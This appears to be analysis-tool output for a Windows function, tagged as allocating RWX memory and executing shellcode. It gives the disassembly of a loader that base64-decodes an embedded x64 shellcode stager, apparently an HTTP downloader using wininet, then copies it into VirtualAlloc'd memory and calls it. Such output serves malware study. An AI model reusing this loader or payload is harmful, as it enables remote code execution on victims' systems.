Function at 0x180011104
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
jmp 0x180018a40
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x32
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x18002b040]
xor rax, rbp
mov qword [rbp + 0x178], rax
lea rcx, [0x180031060]
call fcn.180011794
lea rdx, str.XHhmY1x4NDhceDgzXHhlNFx4ZjBceGU4XHhjOFx4MDBceDAwXHgwMFx4NDFceDUxXHg0MVx4NTBceDUyXHg1MVx4NTZceDQ4XHgzMVx4ZDJceDY1XHg0OFx4OGJceDUyXHg2MFx4NDhceDhiXHg1Mlx4MThceDQ4XHg4Ylx4NTJceDIwXHg0OFx4OGJceDcyXHg1MFx4NDhceDBmXHhiN1x4NGFceDRhXHg0ZFx4MzFceGM5XHg0OFx4MzFceGMwXHhhY1x4M2NceDYxXHg3Y1x4MDJceDJjXHgyMFx4NDFceGMxXHhjOVx4MGRceDQxXHgwMVx4YzFceGUyXHhlZFx4NTJceDQxXHg1MVx4NDhceDhiXHg1Mlx4MjBceDhiXHg0Mlx4M2NceDQ4XHgwMVx4ZDBceDY2XHg4MVx4NzhceDE4XHgwYlx4MDJceDc1XHg3Mlx4OGJceDgwXHg4OFx4MDBceDAwXHgwMFx4NDhceDg1XHhjMFx4NzRceDY3XHg0OFx4MDFceGQwXHg1MFx4OGJceDQ4XHgxOFx4NDRceDhiXHg0MFx4MjBceDQ5XHgwMVx4ZDBceGUzXHg1Nlx4NDhceGZmXHhjOVx4NDFceDhiXHgzNFx4ODhceDQ4XHgwMVx4ZDZceDRkXHgzMVx4YzlceDQ4XHgzMVx4YzBceGFjXHg0MVx4YzFceGM5XHgwZFx4NDFceDAxXHhjMVx4MzhceGUwXHg3NVx4ZjFceDRjXHgwM1x4NGNceDI0XHgwOFx4NDVceDM5XHhkMVx4NzVceGQ4XHg1OFx4NDRceDhiXHg0MFx4MjRceDQ5XHgwMVx4ZDBceDY2XHg0MVx4OGJceDBjXHg0OFx4NDRceDhiXHg0MFx4MWNceDQ5XHgwMVx4ZDBceDQxXHg4Ylx4MDRceDg4XHg0OFx4MDFceGQwXHg0MVx4NThceDQxXHg1OFx4NWVceDU5XHg1YVx4NDFceDU4XHg0MVx4NTlceDQxXHg1YVx4NDhceDgzXHhlY1x4MjBceDQxXHg1Mlx4ZmZceGUwXHg1OFx4NDFceDU5XHg1YVx4NDhceDhiXHgxMlx4ZTlceDRmXHhmZlx4ZmZceGZmXHg1ZFx4NmFceDAwXHg0OVx4YmVceDc3XHg2OVx4NmVceDY5XHg2ZVx4NjVceDc0XHgwMFx4NDFceDU2XHg0OVx4ODlceGU2XHg0Y1x4ODlceGYxXHg0MVx4YmFceDRjXHg3N1x4MjZceDA3XHhmZlx4ZDVceDQ4XHgzMVx4YzlceDQ4XHgzMVx4ZDJceDRkXHgzMVx4YzBceDRkXHgzMVx4YzlceDQxXHg1MFx4NDFceDUwXHg0MVx4YmFceDNhXHg1Nlx4NzlceGE3XHhmZlx4ZDVceGViXHg3M1x4NWFceDQ4XHg4OVx4YzFceDQxXHhiOFx4OThceDFmXHgwMFx4MDBceDRkXHgzMVx4YzlceDQxXHg1MVx4NDFceDUxXHg2YVx4MDNceDQxXHg1MVx4NDFceGJhXHg1N1x4ODlceDlmXHhjNlx4ZmZceGQ1XHhlYlx4NTlceDViXHg0OFx4ODlceGMxXHg0OFx4MzFceGQyXHg0OVx4ODlceGQ4XHg0ZFx4MzFceGM5XHg1Mlx4NjhceDAwXHgwMlx4NDBceDg0XHg1Mlx4NTJceDQxXHhiYVx4ZWJceDU1XHgyZVx4M2JceGZmXHhkNVx4NDhceDg5XHhjNlx4NDhceDgzXHhjM1x4NTBceDZhXHgwYVx4NWZceDQ4XHg4OVx4ZjFceDQ4XHg4OVx4ZGFceDQ5XHhjN1x4YzBceGZmXHhmZlx4ZmZceGZmXHg0ZFx4MzFceGM5XHg1Mlx4NTJceDQxXHhiYVx4MmRceDA2XHgxOFx4N2JceGZmXHhkNVx4ODVceGMwXHgwZlx4ODVceDlkXHgwMVx4MDBceDAwXHg0OFx4ZmZceGNmXHgwZlx4ODRceDhjXHgwMVx4MDBceDAwXHhlYlx4ZDNceGU5XHhlNFx4MDFceDAwXHgwMFx4ZThceGEyXHhmZlx4ZmZceGZmXHgyZlx4NzRceDM2XHg0Nlx4NmRceDAwXHhjOFx4ODVceDNmXHg2Nlx4NTZceDVhXHg1Zlx4YzJceDEzXHg3ZFx4NmVceDcwXHg5YVx4OGRceDFkXHg2ZVx4YThceDgyXHg4Zlx4Y2FceGZjXHgzYVx4NmVceGFhXHhlMVx4YTlceGRlXHgyMFx4NDNceDIxXHg4Ylx4MGVceGY3XHgyZVx4NDRceDVkXHhjY1x4MzlceGRjXHg4Nlx4YWFceGJjXHg4YVx4NGZceDBhXHg4ZFx4NGFceDViXHhiY1x4MWVceDQyXHg0Ylx4YTZceDAzXHgyZVx4MTRceDE5XHg0Mlx4NjRceDNiXHgxZlx4YjRceDgxXHg1NFx4ZGRceDI2XHhlNlx4NDhceGI5XHhlNFx4MDRceDBhXHgzM1x4MDBceDU1XHg3M1x4NjVceDcyXHgyZFx4NDFceDY3XHg2NVx4NmVceDc0XHgzYVx4MjBceDRkXHg2Zlx4N2FceDY5XHg2Y1x4NmNceDYxXHgyZlx4MzRceDJlXHgzMFx4MjBceDI4XHg2M1x4NmZceDZkXHg3MFx4NjFceDc0XHg2OVx4NjJceDZjXHg2NVx4M2JceDIwXHg0ZFx4NTNceDQ5XHg0NVx4MjBceDM3XHgyZVx4MzBceDNiXHgyMFx4NTdceDY5XHg2ZVx4NjRceDZmXHg3N1x4NzNceDIwXHg0ZVx4NTRceDIwXHgzNVx4MmVceDMxXHgzYlx4MjBceDU0XHg3Mlx4NjlceDY0XHg2NVx4NmVceDc0XHgyZlx4MzRceDJlXHgzMFx4M2JceDIwXHgyZVx4NGVceDQ1XHg1NFx4MjBceDQzXHg0Y1x4NTJceDIwXHgzMlx4MmVceDMwXHgyZVx4MzVceDMwXHgzN1x4MzJceDM3XHgyOVx4MGRceDBhXHgwMFx4OGFceDA0XHhjOFx4MjJceDAxXHgxYVx4YWVceDdiXHg0Y1x4NDRceGM3XHg3Zlx4ODJceDllXHg1N1x4ODRceGY3XHhiOFx4MGRceGZlXHhkZFx4YjJceGE1XHg1Mlx4ZmRceDAzXHgyMVx4ZTRceDZjXHg4NFx4ZjBceDVhXHhlN1x4NjVceDY5XHg0Zlx4YjBceDJiXHhhOFx4ODZceDUwXHgwYVx4NjVceDk2XHhjZlx4YjJceGU2XHhkYVx4MjhceGIyXHgzMFx4MzRceDVhXHgxN1x4NGFceDBjXHg3M1x4MmVceDIwXHhjOFx4NjdceGEyXHgzN1x4MGVceGJkXHg4ZVx4ZjRceGViXHhkYlx4ZDBceGU4XHg5Y1x4ZTRceGZlXHgxY1x4N2RceGUyXHg2MVx4MjhceGNhXHhhYlx4ZTRceDI4XHg1N1x4YmNceDkxXHg4YVx4OTVceGM1XHhlOVx4NGZceDg0XHhkOFx4YjFceGRkXHg0NFx4OTVceDlkXHg0Ylx4Y2NceDUwXHhiMlx4OGJceGQyXHhkMVx4ZWJceGJkXHg4NFx4YjZceDM3XHgyNFx4ZWRceGMyXHg1NFx4Y2VceGI4XHgyZlx4M2VceGI0XHgzNlx4NjZceDlkXHhmZVx4YmVceDBlXHg5Zlx4YWJceGM1XHg4OFx4ZjZceGNmXHgzOFx4YjRceDIyXHhmZFx4OThceDY4XHg5MVx4YTVceGE4XHgzOFx4NzVceDVmXHg4Y1x4NmJceDg3XHgwMVx4NjlceDliXHhlNFx4Y2JceDQ1XHhiOFx4OWFceDY3XHg1ZFx4Y2FceGMyXHhlNVx4Y2ZceGNkXHhlY1x4MmRceGU5XHhjZVx4NmRceDliXHhiYlx4MzlceDk4XHg3Zlx4OWRceDM0XHg2NFx4MmNceDcxXHhhN1x4NDJceGVjXHg3OVx4YjhceDhjXHhjYVx4YzlceGRjXHg0M1x4N2NceGJkXHgzOFx4OTVceDQ1XHhlN1x4ZTBceDYxXHhhZVx4ZWFceGY2XHg4Nlx4OWFceDZj
lea rcx, [rbp + 8]
call fcn.180011361
nop
mov edx, 0x20
lea rcx, [rbp + 0x48]
call fcn.18001106e
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x48]
call fcn.180011320
nop
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x88], rax
lea rcx, [rbp + 0x48]
call fcn.18001182f
mov r8d, 0x20
mov rdx, rax
mov rcx, qword [rbp + 0x88]
call fcn.1800113c5
mov rax, qword [rbp + 0x88]
mov qword [rbp + 0xa8], rax
call qword [rbp + 0xa8]
nop
lea rcx, [rbp + 0x48]
call fcn.18001124e
nop
lea rcx, [rbp + 8]
call fcn.180011154
lea rcx, [rbp - 0x20]
lea rdx, [0x180023e70]
call fcn.18001166d
mov rcx, qword [rbp + 0x178]
xor rcx, rbp
call fcn.1800113c0
lea rsp, [rbp + 0x188]
pop rdi
pop rbp
ret